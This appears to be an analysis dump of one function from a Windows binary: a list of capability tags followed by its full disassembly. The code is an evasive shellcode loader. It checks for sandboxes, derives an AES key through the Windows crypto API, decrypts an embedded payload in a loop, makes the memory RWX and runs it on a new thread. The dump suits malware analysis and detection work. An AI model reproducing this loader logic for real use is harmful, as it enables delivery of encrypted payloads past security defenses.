Function at 0x140001070
Capabilities:
Allocate or change rwx memory
Create new key via cryptacquirecontext
Create thread
Encrypt data using aes via winapi
Encrypt or decrypt via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt
Spawn thread to rwx shellcode
Terminate process

Disassembly:
sub rsp, 0x68
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x50], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [rsp + 0x28], 0
xor edx, edx
mov rcx, rax
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
mov r8d, 0x8a0
call qword [sym.imp.KERNEL32.dll_VirtualAllocExNuma]
test rax, rax
je 0x1400013a3
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlsAlloc]
cmp eax, 0xffffffff
je 0x1400013a3
mov qword [rsp + 0x70], rbx
lea rcx, str.___No_sandox_is_detected_decrypting_the_shellcode_n
mov qword [rsp + 0x60], rsi
call fcn.140001010
mov ebx, 1
lea rsi, [0x140005080]
nop dword [rax]
mov r9d, 0x18
mov dword [rsp + 0x30], 0x8a0
xor r8d, r8d
mov dword [rsp + 0x20], 0xf0000000
xor edx, edx
lea rcx, [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x140001383
mov rcx, qword [rsp + 0x38]
lea rax, [rsp + 0x40]
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov edx, 0x800c
call qword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x140001363
mov rcx, qword [rsp + 0x40]
lea rdx, [0x14007c4b8]
xor r9d, r9d
lea r8d, [r9 + 0x10]
call qword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
je 0x140001343
mov r8, qword [rsp + 0x40]
lea rax, [rsp + 0x48]
mov rcx, qword [rsp + 0x38]
xor r9d, r9d
mov edx, 0x6610
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
test eax, eax
je 0x140001323
mov rcx, qword [rsp + 0x48]
lea rax, [rsp + 0x30]
mov qword [rsp + 0x28], rax
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rsi
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptDecrypt]
test eax, eax
je 0x140001303
mov rcx, qword [rsp + 0x38]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
inc ebx
cmp ebx, 0x64
jle 0x1400010f0
xor ecx, ecx
mov edx, 0x8a0
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
test rax, rax
jne 0x14000121e
lea rcx, str.____Failed_to_allocate_memory_for_shellcode_n
call fcn.140001010
lea ecx, [rbx + 1]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov rdx, rbx
lea rcx, str.___Memory_is_allocated_for_shellcode_at__p_n
call fcn.140001010
mov r8d, 0x8a0
mov rdx, rsi
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
lea r9, [rsp + 0x38]
mov edx, 0x8a0
mov r8d, 0x40
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140001273
lea rcx, str.____Failed_to_change_memory_protection_from_RW_to_RWX_n
call fcn.140001010
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rcx, str.___Memory_protection_is_changed_for_RW_to_RWX_n
call fcn.140001010
lea rax, [rsp + 0x30]
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], rax
xor r9d, r9d
mov r8, rbx
mov dword [rsp + 0x20], 0
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rbx, rax
test rax, rax
jne 0x1400012c7
lea rcx, str.____Failed_to_create_thread_for_shellcode_execution_n
call fcn.140001010
lea ecx, [rbx + 1]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov edx, dword [rsp + 0x30]
lea rcx, str.___Thread_with_id__lu_is_created_to_execute_the_shellcode_n
call fcn.140001010
mov edx, 0xffffffff
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rbx, qword [rsp + 0x70]
xor eax, eax
mov rsi, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.1400013c0
add rsp, 0x68
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_in_CryptDecrypt___u__n
call fcn.140001010
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_in_CryptDeriveKey___u__n
call fcn.140001010
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_in_CryptHashData___u__n
call fcn.140001010
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_in_CryptCreateHash___u__n
call fcn.140001010
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_in_CryptAcquireContextW___u__n
call fcn.140001010
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3